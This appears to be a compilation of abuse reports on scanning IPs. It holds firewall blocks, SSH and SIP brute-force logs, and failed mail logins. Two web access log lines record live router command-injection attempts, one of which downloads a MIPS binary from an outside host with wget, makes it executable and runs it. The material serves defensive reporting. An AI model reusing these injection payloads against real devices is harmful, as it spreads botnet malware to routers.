firewall-block, port(s): 5683/udp

Unauthorized connection attempt detected from IP address 37.49.226.4 to port 81

 TCP (SYN) 37.49.226.4:58116 -> port 81, len 44

firewall-block, port(s): 81/tcp

 TCP (SYN) 37.49.226.4:43452 -> port 81, len 44

Jun 12 14:09:52 debian-2gb-nbg1-2 kernel: \[14222513.704042\] \[UFW BLOCK\] IN=eth0 OUT= MAC=96:00:00:0e:18:f4:d2:74:7f:6e:37:e3:08:00 SRC=37.49.226.4 DST=195.201.40.59 LEN=40 TOS=0x00 PREC=0x00 TTL=245 ID=54321 PROTO=TCP SPT=40786 DPT=81 WINDOW=65535 RES=0x00 SYN URGP=0

ET DROP Dshield Block Listed Source group 1 - port: 81 proto: TCP cat: Misc Attack

Port 81 (TorPark onion routing) access denied

[portscan] tcp/81 [alter-web/web-proxy]
[scan/connect: 8 time(s)]
*(RWIN=65535)(04231254)

Fail2Ban Ban Triggered

MultiHost/MultiPort Probe, Scan, Hack -

Unauthorized connection attempt detected from IP address 37.49.226.4 to port 81 [T]

MultiHost/MultiPort Probe, Scan, Hack -

TCP ports : 465 / 587

TCP ports : 465 / 587

[2020-07-24 06:05:37] NOTICE[1277][C-00002857] chan_sip.c: Call from '' (37.49.226.39:61946) to extension '971441144630017' rejected because extension not found in context 'public'.
[2020-07-24 06:05:37] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-24T06:05:37.251-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="971441144630017",SessionID="0x7f1754318b48",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.39/61946",ACLName="no_extension_match"
[2020-07-24 06:06:27] NOTICE[1277][C-00002859] chan_sip.c: Call from '' (37.49.226.39:57469) to extension '9710441144630017' rejected because extension not found in context 'public'.
[2020-07-24 06:06:27] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-24T06:06:27.162-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="9710441144630017",SessionID="0x7f1754742008",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/3
...

[2020-07-23 02:28:17] NOTICE[1277][C-00002114] chan_sip.c: Call from '' (37.49.226.41:56352) to extension '199441274066041' rejected because extension not found in context 'public'.
[2020-07-23 02:28:17] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-23T02:28:17.484-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="199441274066041",SessionID="0x7f175452b198",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.41/56352",ACLName="no_extension_match"
[2020-07-23 02:29:44] NOTICE[1277][C-00002115] chan_sip.c: Call from '' (37.49.226.41:56115) to extension '199810441274066041' rejected because extension not found in context 'public'.
[2020-07-23 02:29:44] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-23T02:29:44.136-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="199810441274066041",SessionID="0x7f1754694fe8",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/U
...

[-]:80 37.49.226.35 - - [16/Jul/2020:13:54:39 +0200] "POST /boaform/admin/formPing?target_addr=;'+payload+'%20/&waninf=1_INTERNET_R_VID_154 HTTP/1.1" 301 631 "-" "python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.30.2.el6.x86_64"

37.49.226.35 - - [15/Jul/2020:05:16:28 -0500] "GET https://www.ad5gb.com/setup.cgi?next_file=afr.cfg&todo=syscmd&cmd=wget%20http://45.95.168.230/bins/Meth.mips%20-O%20/var/tmp/Meth.mips;%20chmod%20777%20/var/tmp/Meth.mips;%20/var/tmp/Meth.mips%20africo.exploit;%20rm%20-rf%20/var/tmp/Meth.mips&curpath=/¤tsetting.htm=1 HTTP/1.1" 400 346 400 346 0 0 452 416 605 295 0 DIRECT FIN FIN TCP_MISS

[2020-07-04 01:01:24] NOTICE[1197][C-00001132] chan_sip.c: Call from '' (37.49.226.37:49525) to extension '000442894548765' rejected because extension not found in context 'public'.
[2020-07-04 01:01:24] SECURITY[1214] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-04T01:01:24.282-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="000442894548765",SessionID="0x7f6d28136c98",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.37/49525",ACLName="no_extension_match"
[2020-07-04 01:04:58] NOTICE[1197][C-00001138] chan_sip.c: Call from '' (37.49.226.37:61836) to extension '000442894548765' rejected because extension not found in context 'public'.
[2020-07-04 01:04:58] SECURITY[1214] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-04T01:04:58.923-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="000442894548765",SessionID="0x7f6d288c4af8",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.
...

Unauthorized connection attempt detected from IP address 37.49.226.227 to port 23 [T]

Unauthorized connection attempt detected from IP address 37.49.226.208 to port 23

Unauthorized connection attempt detected from IP address 37.49.226.208 to port 23

Unauthorized connection attempt detected from IP address 37.49.226.227 to port 81

[2020-06-18 08:06:02] NOTICE[1273][C-00002b2f] chan_sip.c: Call from '' (37.49.226.39:52379) to extension '400442870878530' rejected because extension not found in context 'public'.
[2020-06-18 08:06:02] SECURITY[1288] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-06-18T08:06:02.521-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="400442870878530",SessionID="0x7f31c018ea98",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.39/52379",ACLName="no_extension_match"
[2020-06-18 08:08:46] NOTICE[1273][C-00002b33] chan_sip.c: Call from '' (37.49.226.39:54766) to extension '400442870878530' rejected because extension not found in context 'public'.
[2020-06-18 08:08:46] SECURITY[1288] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-06-18T08:08:46.357-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="400442870878530",SessionID="0x7f31c01eadb8",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.
...

none

2020-06-14T05:48:24.863393abusebot-2.cloudsearch.cf sshd[32392]: Invalid user ubnt from 37.49.226.235 port 49502
2020-06-14T05:48:24.870780abusebot-2.cloudsearch.cf sshd[32392]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.235
2020-06-14T05:48:24.863393abusebot-2.cloudsearch.cf sshd[32392]: Invalid user ubnt from 37.49.226.235 port 49502
2020-06-14T05:48:26.775381abusebot-2.cloudsearch.cf sshd[32392]: Failed password for invalid user ubnt from 37.49.226.235 port 49502 ssh2
2020-06-14T05:48:27.877861abusebot-2.cloudsearch.cf sshd[32394]: Invalid user admin from 37.49.226.235 port 51870
2020-06-14T05:48:27.885865abusebot-2.cloudsearch.cf sshd[32394]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.235
2020-06-14T05:48:27.877861abusebot-2.cloudsearch.cf sshd[32394]: Invalid user admin from 37.49.226.235 port 51870
2020-06-14T05:48:29.870550abusebot-2.cloudsearch.cf sshd[32394]: Failed pa
...

Jun 14 06:22:53 django-0 sshd\[19789\]: Invalid user "root from 37.49.226.32Jun 14 06:22:55 django-0 sshd\[19789\]: Failed password for invalid user "root from 37.49.226.32 port 36570 ssh2Jun 14 06:22:58 django-0 sshd\[19791\]: Invalid user "default from 37.49.226.32
...

24.07.2019 19:44:36 Connection to port 8889 blocked by firewall

RDP Scan

MultiHost/MultiPort Probe, Scan, Hack -

Blocked for port scanning.
Time: Wed Jul 24. 09:12:41 2019 +0200
IP: 85.209.0.41 (RU/Russia/-)

Sample of block hits:
Jul 24 09:12:00 vserv kernel: [13593938.048019] Firewall: *TCP_IN Blocked* IN=venet0 OUT= MAC= SRC=85.209.0.41 DST=[removed] LEN=40 TOS=0x00 PREC=0x00 TTL=236 ID=8371 PROTO=TCP SPT=52315 DPT=3499 WINDOW=1024 RES=0x00 SYN URGP=0
Jul 24 09:12:08 vserv kernel: [13593945.483774] Firewall: *TCP_IN Blocked* IN=venet0 OUT= MAC= SRC=85.209.0.41 DST=[removed] LEN=40 TOS=0x00 PREC=0x00 TTL=236 ID=62380 PROTO=TCP SPT=52315 DPT=5939 WINDOW=1024 RES=0x00 SYN URGP=0
Jul 24 09:12:15 vserv kernel: [13593952.427285] Firewall: *TCP_IN Blocked* IN=venet0 OUT= MAC= SRC=85.209.0.41 DST=[removed] LEN=40 TOS=0x00 PREC=0x00 TTL=236 ID=40758 PROTO=TCP SPT=52315 DPT=3489 WINDOW=1024 RES=0x00 SYN URGP=0
Jul 24 09:12:15 vserv kernel: [13593953.216063] Firewall: *TCP_IN Blocked* IN=venet0 OUT= MAC= SRC=85.209.0.41 DST=[removed] LEN=40 TOS=0x00 PREC=0x00 TTL=236 ID=56380 PROTO=TCP SPT=52315 DPT=8000 WINDOW=1024

Jul 24 20:21:41 vserver sshd\[26632\]: Failed password for root from 218.92.0.132 port 34840 ssh2Jul 24 20:21:44 vserver sshd\[26632\]: Failed password for root from 218.92.0.132 port 34840 ssh2Jul 24 20:21:47 vserver sshd\[26632\]: Failed password for root from 218.92.0.132 port 34840 ssh2Jul 24 20:21:49 vserver sshd\[26632\]: Failed password for root from 218.92.0.132 port 34840 ssh2
...

2019-07-24T16:39:33.497Z CLOSE host=196.52.43.58 port=52575 fd=7 time=30.739 bytes=5374
...

Jul 24 16:48:11 server sshd\[225384\]: Invalid user admin from 185.220.101.70
Jul 24 16:48:11 server sshd\[225384\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=185.220.101.70
Jul 24 16:48:13 server sshd\[225384\]: Failed password for invalid user admin from 185.220.101.70 port 39606 ssh2
...

37215/tcp
[2019-07-24]1pkt

\[2019-07-24 17:43:49\] NOTICE\[20804\] chan_sip.c: Registration from '\' failed for '63.143.35.146:61828' - Wrong password
\[2019-07-24 17:43:49\] SECURITY\[20812\] res_security_log.c: SecurityEvent="InvalidPassword",EventTV="2019-07-24T17:43:49.728-0400",Severity="Error",Service="SIP",EventVersion="2",AccountID="921",SessionID="0x7f06f823f758",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/63.143.35.146/61828",Challenge="37d7bfe7",ReceivedChallenge="37d7bfe7",ReceivedHash="fed903f65a0d398e694dfe1870f91060"
\[2019-07-24 17:44:18\] NOTICE\[20804\] chan_sip.c: Registration from '\' failed for '63.143.35.146:58184' - Wrong password
\[2019-07-24 17:44:18\] SECURITY\[20812\] res_security_log.c: SecurityEvent="InvalidPassword",EventTV="2019-07-24T17:44:18.501-0400",Severity="Error",Service="SIP",EventVersion="2",AccountID="6060",SessionID="0x7f06f8009f28",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/63.143.

" "

RDP Scan

Jul 24 21:19:29 yabzik sshd[5558]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=93.115.241.194
Jul 24 21:19:31 yabzik sshd[5558]: Failed password for invalid user admin1 from 93.115.241.194 port 34712 ssh2
Jul 24 21:19:34 yabzik sshd[5565]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=93.115.241.194

Jul 24 23:21:37 mail postfix/smtpd\[26415\]: warning: unknown\[45.13.39.167\]: SASL LOGIN authentication failed: UGFzc3dvcmQ6\
Jul 24 23:52:09 mail postfix/smtpd\[27633\]: warning: unknown\[45.13.39.167\]: SASL LOGIN authentication failed: UGFzc3dvcmQ6\
Jul 24 23:52:44 mail postfix/smtpd\[28095\]: warning: unknown\[45.13.39.167\]: SASL LOGIN authentication failed: UGFzc3dvcmQ6\
Jul 24 23:53:22 mail postfix/smtpd\[28113\]: warning: unknown\[45.13.39.167\]: SASL LOGIN authentication failed: UGFzc3dvcmQ6\

Splunk® : port scan detected:
Jul 24 12:39:47 testbed kernel: Firewall: *TCP_IN Blocked* IN=eth0 OUT= MAC=82:c6:52:d1:6e:53:64:c3:d6:0b:ef:f0:08:00 SRC=87.65.89.126 DST=104.248.11.191 LEN=44 TOS=0x00 PREC=0x00 TTL=53 ID=52655 PROTO=TCP SPT=7724 DPT=5555 WINDOW=60578 RES=0x00 SYN URGP=0

firewall-block, port(s): 8883/tcp